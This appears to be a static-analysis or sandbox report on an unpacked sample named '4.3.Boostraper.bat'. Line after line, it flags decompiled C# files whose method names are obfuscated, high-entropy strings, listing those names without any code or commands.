Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, d3jpvAOWotBfy8NDLN.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'lgUHNAdFIJvk1ddS4P1', 'RSGAWpdo6gD1us723ZT', 'PLQcbrdRTZfIWGSR6OJ', 'vVUsu4dY7TWoORkD68p', 'xXiNlgd2Zx6qoIuWOcL', 'PW79WRdusSxbDKdaf7R'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, LPsXFUBgN9wLVU5Rw5w.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'a09MNOjAMeZyfDiBlmi', 'FljLLPjHMEV0qtLaVwF', 'TOnLIKjUfeXYkBtjqo7', 'UOcQS7jlnJTKyZLumJj', 'JhkBpbjgE4t4XuF5vOG', 'Vrs4bVjdhDF3tOpRNLZ'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, s8Z5ehCJCXCR27KqRb.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'rJ8KXTUpCYLpDoNinhc', 'mbgF1WUcIGrymk7yt7e', 'DT0pWdUzJ5EtQ0KFaTQ', 'p12QJulArhxLN4WSmp5', 'uwCkSclHuv1kiAMKbNk', 'n6hHl7lUa8tapSaXIwp'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, GJpY12rLYQ6CruIKInr.cs	High entropy of concatenated method names: 'vmujpCOiGY', 'uR1jxKTTtP', 'i7OGifa2JF7Pa157Pc0', 'iawS76auvZ5w69mYZAZ', 'ntXmB9aRMu1QxffNqLr', 'TablwfaYDZDnhU9EpsU', 'cDV74la58ixBDjf730j', 'ueE3dpaW1NWT3ioBb5r'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, ALVPwijwLrokUU03Q4Y.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'SECqIaAH1P', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, DXqKox56NeI6Fw0cbS.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'cVRBNCdXpmUwJBbJ4xW', 'LKs9MUdJFAscabtFMqs', 'qhU2GCdDLn2Rwt8Uvvk', 'gMxZ5AdrSknItUYEfiD', 'MZBdcmdpXPbJ6Ys848W', 'NEoOxAdc2bsNGMBXDRI'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, DkfpQHBJPRnnYVNsVbM.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'DvcWBtxWSxVhyt1iQD4', 'opjNuJxSJq4o7IHMhTQ', 'pGUvBWxabnafr3xOYmr', 'g0rBikxmGprMSEmOWXb', 'HVUcI7xnbHyuPR4nodW', 'lrmJdexQDUOQmyNTlY6'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, SKpS3DI1N6i7ZiLPSm1.cs	High entropy of concatenated method names: 'ocfGlJAlwS', 'topGqRXDa6', 'CyTGVNuhBu', 'fZnGCM7NAu', 'B2gGgsV35D', 'LYlGHQ2d76', 'YvZGYXIc9o', 'hegGWWRw91', 'blXGGCveej', 'CvcGp5BGG8'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, wXZJLqB1qXnWnMYLadD.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'XB5HTljGSR7pogJZsgP', 'KCaGR3ji29iJtqyL8iO', 'Uiy5LpjtexMhkN7ka4Y', 'OqDqVJj3mLG6o6Q8Aix', 'QIJ8gJj1rGmI1cFv8t7', 'V0hquNjKfst2OIlrY4h'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, mnAS47cW5lK7CvbnxgO.cs	High entropy of concatenated method names: 'OYQVMaZa4m', 'HArVj419U4', '_8r1', 'wYmVcnhwtv', 'MFiViJgaoq', 'MgxVQaLggm', 'cTsVFVCbIh', 'l5IEw44o84xhQGTV4OX', 'YOmFeE4Rs7VfusAfZGv', 'pAMtnA4YVS4TrqPp2BS'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, q0gV2ujNZdS88utwIpT.cs	High entropy of concatenated method names: 'OHIqBxtESr', 'g0OqtLjkjP', 'rEHq9cBXgV', 'vPdqROAsKa', 'GdpqM01iZn', 'HSjqjOit9C', 'To2qcAatoQ', 'UbcqixCMUI', 'Uv5qQSH63n', 'B9nqFGop36'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, u0UVm7WnkNNi5WFbHtE.cs	High entropy of concatenated method names: 'Fsq8sU0nZa', 'HUg8vVW9Yc', 'sk83SFOuDjtP40IkfpT', 'amk25fO5F6yBZr9NZfd', 'st1ocLOWwiQ7ugs9YEP', 'QHSnRFOSxoQS2U7fZHI', 'tRhdgJOai361GkUleI7', 'tyTAdcOmC3lOgBDJSb9', 'nCDciiOnMNBE0au35eL', 'uRKYrIOQvaEZj05yJ3O'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, VRCGVpBpHvkr7KZ8rQ3.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'ShhqwhCCbHEcDsW15J3', 'kjwgMHCjmH0eJetEsIo', 'gAriIrChstQHcRGrFLW', 'bdQUViCLBmJpxagcCgI', 'rE1aQBCxDvEFRpOW8J5', 'l5SeqbCVhibdKuV8KJZ'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, nQtCklzUwX1MjVy8uH.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'DZuJA2PlqxiWQ9CnMr4', 'IXRTZSPgIlxZ65ZKc0U', 'dQ4WpiPdm98GSXDj0uN', 'Tn9E9LPPo7ZXyb1lfK1', 'J6rOR9PChhrqXkvGeD8', 'tKuvYyPjRWLjCEXx27Q'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, ibORS1BHoIevwW6KNp0.cs	High entropy of concatenated method names: 'IIeUY4uOIc', 'TTNBsXjYSquatqBH1io', 'fFgSDRj254b0lpxQb41', 'xJFB4GjoHDlnfnTsIkv', 'B8N2fJjRF6L7PPrmKPa', 'yOFMhljuWuIg0vkJOJo', 'LQQ6xij5Rrkw2sVJ3BC', 'L37IhqjWQI2PQ6At01J', 'GBRggojSsIXICZW4Q9d', 'f28'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, nhNjwtWRuIQ0940ZsMc.cs	High entropy of concatenated method names: 'bLFRq6L1AN', 'fd5vI8238FTt8kHhSA9', 'iKQXqV2iakulaOOFtQC', 'PMq7CF2tW5avnUYq7nt', 'yOOhg821nZ9GE9Pjwum', 'mhbLmE2KGkECuqRwj4n', 'bpsRfLUYl4', 'AKVRPTFpfE', 'q6uRObyMul', 'ItwR5kVUmX'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, dwXKjsWUnMJ5TvTTxDW.cs	High entropy of concatenated method names: 'OEHtYCaXh4', 'h0uACYRp9K23XQx6k7Y', 'eMLKmQRcMh3MSmCYVJA', 'FKpCXkRDQdxANRhpVrG', 'KbdQu0RrVOvYSpLHnHy', 'zehUZ4RzBs0PaNJFVli', 'Cy7Ue9YAfjn14vNZFeg', 'pRj1sdYHFyWcyhmk4vW', 'rhNRQ9YUHn7YNb5T7Om', 'qan2rGYlD6OjoE1ZdKo'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, lKTqmnBBWjuNeArDaZt.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'Xc4FYRPutLxsHESLeba', 'YsADuiP5HgETpaEoEmY', 'BxNUPYPWfPHvP836ns8', 's2AUMJPSrqi1oUoPN3Y', 'iWSkgqPaEKSkvnZx4iO', 'rdDkwuPmcbsSgT9Lbo1'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, sy90LCBO2v1SIL1TiQG.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'zWWIDix7Qjl1I1WiA11', 'UST7aVx9oAY9N4KJ1Pb', 'DUTDwsxbaGWgEYAXIUk', 'w4COMSxBxb7QEmjWsRG', 'hGrKcuxeOAAw0IkFPZQ', 'zVW0fNxEOTG1WaiNios'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, n9nCY0Bjx3Ad3g3KKom.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'vubFK6PZjgjuTdr7iZN', 'sRwMUaPGHjDpFG0iXvd', 'Re3ITwPi8JfkfRpEANT', 'ribbE8PtXRYsyOtZsXq', 'nsrs6gP3tv0CtT6KH9a', 'XVU0cpP16ROAoig75Wi'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, FQXyBIBVhfEhAvdk2ma.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'PAEE62CTEJdspmyP84P', 'tfjq2ACNcrcrHIGlVam', 'cbsNKICIBEaqIXgJict', 'XTX4HCC0OF3wORXy3NZ', 'WhmCVmC8hSGZ91TQLWO', 'H3tVCBC7keXTpyexswR'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, u9pYlGjRWcbKD194nX2.cs	High entropy of concatenated method names: 'S5BqgK8mEc', 'mHxqHG0h31', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'B30qYkNV2l', '_5f9', 'A6Y'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, xqLvUDcGrtHTZUMqJI1.cs	High entropy of concatenated method names: 'acDqbk2bFo', 'sMYqep9wIZ', 'txIqNcj8hU', 'oEfqaaGLUt', 'abEqZ3yGkJ', 'fGfq6Zgp42', '_838', 'vVb', 'g24', '_9oL'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, FUpKt1M5OZvdWng1vgP.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, NGLic5BI1ehHEqNf9pV.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'Oxtbb9PJVaeUthUpIf5', 'JaxyD6PDe8gY2nW74Sa', 'feJExFPrRRUmxeWGlZw', 'rBmJVmPpLoxLQfZAJmJ', 'yabH39Pcje09qjXK2Tj', 'pH4chePz9NRX0d2u4qR'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, ONVoboMuJc5F8SxpDQ8.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'nl8kmJ5NAU', 'JJwkhNhnSf', 'r8j', 'LS1', '_55S'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, a5kZJucmijf1eql0Cvc.cs	High entropy of concatenated method names: 'RL0ZSVwgxuHTqfiHn7Y', 'xQWPgvwdpfaKH2U5AMS', 'NqLRsuwU6jSoefriLcW', 'QxI13WwlhGPdImwW4qh', 'quSC1N1L0m', 'WM4', '_499', 'GYECu3mDrF', 'w9mCK5ZsaQ', 'mIRCyO673R'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, luPHVMrkH27gKHd0CgT.cs	High entropy of concatenated method names: 'YBeMTfg2yj', 'bj8MdaooWt', 'mMbMb6kNIa', 'qinMeblIcg', 'cvGI3PWbdG2tiNYHt1n', 'xxjrU5WBHCVyYuoAUDi', 'vGbTptWegBjbrUAaRdY', 'R8Re13W7cbTx4ZcOiS6', 'B8oLKOW9gcwM4nH4lO1', 'LwqlybWEg8QcoA6vceW'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, SSjYincQSocx4DjGScg.cs	High entropy of concatenated method names: 'WGgHyS1UmO', 'Yvdctaw0eorsvuUC6V7', 'jZTn1hw8GoB4tdcShR2', 'xgNKAqwNMWApSanmDId', 'sTQcMnwIlVwW65tutdU', '_1fi', 'rJBg6aA7nD', '_676', 'IG9', 'mdP'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, b9uI2rr7lKWXPfg5sNP.cs	High entropy of concatenated method names: '_5u9', 'AMBpBpVCo5', 'MHIcSrdrdo', 'Xy8ptHZ1Yt', 'eHNaacarZgLeX6JQcHq', 'ExZtypapd3utAoousiK', 'N9FEp8ac6CUGTqdKmEj', 'E4X8VyaJ84SwxPvFSpL', 'hlwytjaDKcX4FnHXiBk', 'OmlhFyazOAl5oMjVQrn'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, Srw7m7xFVPoqpUvuEF.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'yyVxE8gxtlMoqFgqXBG', 'sRskCCgVv9yKLtRZ2kC', 'bkkBfmgqsM4peRcHSUX', 'vQWQwggvmFZQV7Gt2oq', 'E0Sf6TgOPVlA8wqZq6X', 'L7l1TFgFWcpSTuKPADE'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, H9Cs5xWGMaK4espJsYy.cs	High entropy of concatenated method names: 'fBUAq3MwLF', 'ltGAVsBiuj', 'a9XACIYEs8', 'BgcP9oV9JWxBOVB5VdS', 'EetIAWVbdjwOfIFlNxY', 'SUklZyVBjLafDpxrREO', 'kgoaIgVeW3cmyNRO1aF', 'CA2sAiVEwK0jecI0oh4', 'k6y5nuVfMNbVWA4K8LO', 'AllkcXV8G4ivlLvi995'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, CQ4jXWr4QTRQ7lOmRnQ.cs	High entropy of concatenated method names: 'xTSGvgAOoN', 'XfcGz4W6uk', 'po03i0awK8CRU3X841b', 'JHThpraMLa3NsVwtgDV', 'yPi3BEasBD47VbOkAMQ', 'TYBL67a6hyf5qsHL2RU'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, tHIXMEM2pYXm7lr65TB.cs	High entropy of concatenated method names: 'XYJkskgpHD', 'TbSk1mHIQq', 'hglku2EU9w', 'm6rkKMpL3g', 'eYUkyRwS3O', 'yfgkX7atGp', 'WZ5koBII5E', 'dAokr2CwvI', 'LUSk3kvih2', 'POskTkiJnU'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, R05qn4WkNsLeqgV7Xmw.cs	High entropy of concatenated method names: 'Fuh84GOvvC', 'oDF9MCOl8GQgcIWqRj8', 'hLYPINOgOH9RdYSaF8r', 'VO9idfOHMjHe75mpoVp', 'Wijk0sOUteAcwJjBShB', 'bYKqw5Odw3AY2rQxL5v', 'Yma7vwOPxlUaqt7mQW9', 'rUDHdHOC1jRrEF8WRd5', 'Wn82OcOjl2mNr5KCk20', 'RweHgTOhTC5yHpODAmU'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, sOvu2tWWyOOs4dlAdh3.cs	High entropy of concatenated method names: 'QfHANlqyXG', 'gCCAax3vKx', 'xPxAZaQB8E', 'iIWA6gBLA2', 'pgMA08OdbA', 'PtWADaNn24', 'R028J7qYMtm34HutP7M', 'FMUHXJq2xkFCdMqrWJt', 'TvwXxkqog3bAjrIW1Hg', 'jgdQ5QqR6t7fn830QI1'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, AjN1unMVtViH0qE5ytY.cs	High entropy of concatenated method names: 'VmwQuurdF8', 'LGTQKeKTpq', 'EIkQydbAdm', 'l1NQXVv8qV', 'h3tQoR5t02', 'E6LnRnQcvdWjdJMYX4a', 'fDor2TQzRt6fZ45v04d', 'I5MgVrQrrRUDhMs6V7u', 'n7IjXDQpbC6Br8IY4cP', 'vZnECcyApmmXJF7eCxm'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, AuvX9OB262crb32NQOx.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'bnYLHwxtQSi9jhOFUu7', 'q8iQl4x3YC60sjPokqY', 'dXmPF3x1trb7IoSuaGN', 'Gr2eVBxKK2GowWr9m3n', 'sOyWOcxXe50g5GcB4Si', 'vR8aEQxJgLQ746CTCxN'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, d88r3v21jAYa7byJAQ.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'sdm3kXdN1VslKYaYyeX', 'jsU80vdIZrdsV7VWthG', 'PSLpV7d0Lr9ZK4AIG9m', 'CPWLn4d8nbP6h3RBK0E', 'RucUtQd7C06RgB8bHR5', 'AA9r2md9nwp6rHF9lMU'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, n1faParBcWNVDv0eTRr.cs	High entropy of concatenated method names: 'DxCRYVnfEk', 'K18RWBticH', 'sWIRGMjGXV', 'P5pRpB8JFl', 'WnV2sj2zYCVe1AuJff3', 'JjYYwS2p0NVa23filGT', 'BdCoUa2cTCkaEikGlG1', 'EurpNPuAS6CTicLcFqq', 'oWvC4DuHwaQpOc03Jv9', 'YXEeXNuUCJM8JQKWmMb'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, HGToQXrDTrt4jbJWmgN.cs	High entropy of concatenated method names: 'znVMaQs4tI', 'dL2MZ5gT0Y', 'OeJM6qJWLy', 'F2ZqHGWZnDrqoPggrjB', 'JYFXWgWGoesrdWuwdPC', 'PNyfPNWiKTcBJGAWd1f', 'eoFvndWt2KnhWB4QkAT', 'OBoCFnW3gtodNUK71mr', 'MdKRxHW1GXTlGWguodL', 'PyTYiGWKZHAHhY2vWoo'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, nK8RZNrg3jbQEMCcMif.cs	High entropy of concatenated method names: 'KmFM0pHyKl', 'cLYMDf1hIL', 'C7jMJNGjW5', 'hjCM4JKQRF', 'IglMLNBhnr', 'KT2AhXSPfWKrltbbCSE', 'oCrVhsSCHB4lTf8yKBr', 'jPu6NkSguT9aNrNKXcx', 'tffLQQSd7xohNkIpZCI', 'qIX6GASjEgv3Kc4fcFX'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, HfFwcScPmbogZQdTfnH.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'xKUCqC1qMR', 'FifCVfojb0', 'ymwCCyamKR', 'DyeCgbbDF8', 'VMWCHqBL3o', 'ob1CYEstqH', 'HbpQFO6EcpF2LBhP4nH'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, K0FJg0BtKkvegj0iOVA.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'zgSqIUCu7iSdh5sEFKo', 'nZgiGGC5FLIBLlPKxOX', 'uRRjpiCWDBALpxZDQsf', 'eip4ERCS2hc9ljDFRKU', 'XvQnraCaK96mvaMtn7c', 'eRad5PCmPpa3CdJTSOi'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, KLdkHpjoOVrTyJVVpsv.cs	High entropy of concatenated method names: 'AJmldwvMZh', 'fTSlbURmBr', 'NYdle51l5c', 'REdiKCEB1XI0yAJGpll', 'zaUS4eE9RGVFtfcehsE', 'QIh6jXEbM5Ykm34wxHE', 'LjhSmdEe2VSBUoN3lQ8', 'uwio4YEE1sIikoC4fn4'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, uaLi5a7EqifwZL1TMS.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'L3XpMlgYlexJYrsldbH', 'XnqEJug2McaPUQrL6Dm', 'fdGMW2guEqMC8ts2uTt', 'fFYv8dg5qhbHDT98NVK', 'sPvmKRgW0U1kscUMc1v', 'omJw9xgS00HeHxLIsL3'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, HWy9NMBX52qMKfTSgd3.cs	High entropy of concatenated method names: 'gZRUbYqh0Z', 'x8hlTJLULcsuAasrM4X', 'oyh15dLlsX54v8U2nGT', 'dtwW7YLACp3nbtqOhsc', 'dbHG73LHBPHgUn61LsR', 'vQQIs4LgAt9yF5ClnmS', 'HLRrHlLdAQ24GqADrP9', 'k1xwZTLPsLXgvj3qO0N', 'omxUNXPItX', 'fpcclrLh7NeFEaTe51M'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, oaQ20QBAhKA18BILfNT.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'ElTSuojBVC8RQPtFXaP', 'sjDCSWjeCNXXkVt4OKW', 'xq5XqXjEInAQ06mr9sh', 'jJXHXnjfC65tXAcflIZ', 'sP5cl1jk6CQ2GMu2d39', 'SQZ62Tj49R78x7oT7cM'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, MGHlA6W43Gl8mmEWbGF.cs	High entropy of concatenated method names: 'Yjn9MwMfnt', 'NEt9jsy5GY', 'FH7tRaYJV1LkE1CWK1e', 'SupA6sYDmVJhA5378Ey', 'jcVnTVYKlidS4qvRxhv', 'qtkvpOYXkQxFriZ6N0p', 'eOG92JCHp0', 'M8xPZw2Am7BF6ZuuHHo', 'c5aoEO2HNgxppjetkV8', 'yGjk7NYcHEHIP3MB0Js'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, nM53JSrz8GEttI4LNN6.cs	High entropy of concatenated method names: 'kSscgDrGa9', 'VVRcHFNlBO', 'A7EcYlNtMO', 'yHC808nscw0eONiHDsZ', 'cQrDeLn6LHUZeG44jbG', 'Vk3J5lnkvc0PqMZ9IIa', 'Wib12Jn4GksGJuhrZiB', 'XXtAsonwgDMu44UCdUP', 'OsiPBvnM25QxmnCcER3', 'PlPvqxnZscnFZqxHMlD'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, lR3WygB8mmfPmIl32ue.cs	High entropy of concatenated method names: 'O2VAiaRpFl', 'gyuAQRqgNY', 'myKnEPxVGWxEXhfnMwb', 'wL7SoOxL0ZhcuX55lQx', 'QTHyG3xxynBQ4f6nTmV', 'tDR2gDxqEUw4p08PJdU', 'Sf0HomxvYoiDf22c1VH', 'wkBnv1xOfcDEym1mahw', 'MA4u5xxFgBvln5OjUy3', 'lQN5jyxokRrR7VfvSj8'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, YImyXrciqxxYWgwI0Gw.cs	High entropy of concatenated method names: 'gq7VOLwSm1', 'P0CV5rK54t', 'CDFVE09ZLy', 'xMJVnGuKpu', 'yEZVIUvddZ', 'oEVktd4rQTMyn7F0Y7D', 'TSum0L4pELE9NION0mx', 'wya68y4cjOg4ZgZXZ6L', 'Amq8u14zG76EWQT2aAD', 'CXO9VfsAwKYn78skNJV'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, wl86TYc1WrVLa38kDXV.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, NbmBJZjpPsHXI3FqJ0d.cs	High entropy of concatenated method names: 'MQFlOSphUT', 'RUMl5BVLBg', 'pIx5XKeX7X6gT7lapw2', 'EhT1DEeJLSn0lkqb7kU', 'VXnCVGeDJ5VClFtREfD', 'abhhoTeropJLLjaPMBu', 'bWaWJsepuJBWD1rlxsT', 'odlpGtecZNsAoJ9bvd8', 'mSh012ezvvvmkqeh2gb', 'jlnbxvEAVvcVGMGoThF'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, OVwR94BspJj3dloNSdL.cs	High entropy of concatenated method names: 'Tx2APxH5ym', 'baXvcLVPMQVuE5eURhL', 'cedt9TVCcLwQE4KqJjO', 'bOCRGTVg2vKgsNhcZna', 'x0rHAgVdT0AJiESytdA', 'WLot3kVjM4p1Hw4tfgW', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, n7Q4CMPpm2PKi4eS1e.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'tVjoeWvxA', 'EoDwgWUuZSuZexiqqOE', 'fNCaXgU5O9cBASoEGN4', 'bUqCPJUWPHuPAEEtepY', 'or5RuRUSNQAjFlOZIMb', 'GWTcKUUaTumRSRdwWPc'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, rsrIQMJIKbd12ttm7A.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'whRQMVdP6u3cjAwlEIj', 'DwKYFWdCATVfcwfOiis', 'x8nEgxdjS1bdVMuOaXl', 'MJfKWvdhjfVEblq4TNO', 'cED2DidLgHEjM765WXn', 'mo9XpadxxWvspIU1bQI'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, WVHMnac7ajEAhZwk7cR.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'u01Yjr2L69', 'AMtYcdB8fh', 'n3tYi4wupK', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, pgoXrJMnqpp1Zwp7MKO.cs	High entropy of concatenated method names: 'rDWFBvcDnU', 'jq2Ftx0AYV', 'XNpF9aWrmu', 'Gn1W7CyRW7dp2k2ZwhT', 'hAsOaTyYIOvKTcHeXTj', 'DHv8oByFR2gI51dMpZI', 'DNRTKuyoiFkfvnForqP', 'jQ2jjpy2AU9vFo0HRjQ', 'OWGEcjyuONVPVS4qnh2', 'Pyj4yby5BGym9jq4LMC'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, nY3Pe3YteIXKIXHi7t.cs	High entropy of concatenated method names: 'QpjlcFp1q', 'VT2qVmg16', 'aKRVnR9h8', 'v8hCV5cjF', 'sxUgE6HHH', 'MHdH3Cs1l', 'fpNYuPklZ', 'gIdQglHjKXHCSbbUpt1', 'q7rG1oHhioST5dBTqLe', 'MsHCuWHLPqg0ZlLiZku'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, oEgxpaBUDs0UXMfRGnM.cs	High entropy of concatenated method names: 'IX2UDuDn6m', 'NG3MZnLn5T0ueUBMssx', 'SiB9pkLQlT29SeBs1UP', 'VdgCSJLaRkdxTAq1cSs', 'dSiiJALmoj2gEgbME6L', 'AXgJ0lLybbGoRQTUaHt', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, rfMXenBrOuKNkVFnriD.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'NkoLsNP0B6v5eoiNdbt', 'D4NUMrP8JT8rWPmG4oT', 'gZJgoBP7AKQdnkGZL2R', 'YPjyTHP97hFw1mSSYgq', 'B4Gxo0PbOsL31YYgUAL', 'nr0OA3PBTRWKjKKAifR'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, oO7WNxcy9yP0EAws8ug.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, PP0PE2anuuZ1INh7EA.cs	High entropy of concatenated method names: 'Smv1nyg8X', 'HB6uIJDPx', 'OnqK8V5ca', 'ID61tSHfER2sRDeel2b', 'MZeowUHetvcw61sK46U', 'XtMLYbHEu7NmYrgQRPq', 'mjVQFdHkql2PsSlnGiy', 'rWH44oH4No47hvA06Kk', 'Jaft2QHsPiggJWGq9kL', 'JqoMQXH6RXxjQTLeqyh'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, BajjupcoaHEyvD7XlTN.cs	High entropy of concatenated method names: 'DRmCjArkBS', 'lM8CcB0ZIn', 'hRaCiecIQA', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'MEGCQ9ot3q'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, kn9Qf0WforJrO7d1tXT.cs	High entropy of concatenated method names: 'lUn8zvZfo3', 'R9IBSXudQo', 'fLQBUiBUo8', 'X2MBAdv4oR', 'Ds2B8yIqUi', 'MobBBl6T9W', 'wa2BtXkbh5', 'Tj0B97LsQR', 'upyBRdTrgs', 'oEcBMtKj2Y'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, p7yfO38jwpuFBgg1p0.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'B1NfIegwwilF20HuBDV', 'grdgumgMhn5REgqT5vk', 'AWqmCvgZT94fbwa3BSU', 'ILBwWjgGeo1gLd2T1yo', 'haGOcpgi1PWr4adoxmg', 'xF2eq8gtuMHdG9QThxO'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, yk9wnmrhF8BULbjNDMq.cs	High entropy of concatenated method names: 'AenMxmFekm', 'edkM1l6gh0', 'M26MuKZ46F', 'rWEYduWOxPtxNjKI3Je', 'Q6yy07WqfdYlnVGAOgb', 'LD6869Wv2qPkIJ1Em9P', 'WLdVDhWFSRl4M9VhV5Q', 'N7DMmvwrvo', 'l3SMhsJ9pv', 'VqmM2FTA72'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, yos6ZjML8lpJ2WgQQhL.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'NdX7S9NKBJ', '_3il', 'LlP7UwWM1b', 'rJK7AnWjms', '_78N', 'z3K'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, HcKeYpr8Qcyvbynv0Wy.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'hm3pRSh0o7', 'p1AcBxClWM', 'aSYpMdap8l', 'Jr4v1ymvYm8SvgRmjiN', 'Nlgl7nmO2ogqq95E8Ze', 'HIARu8mFSCKoyx4L5Ys', 'oUwJaBmo3own85yWNye', 'ikWxY0mRDuh1VMcFx36'
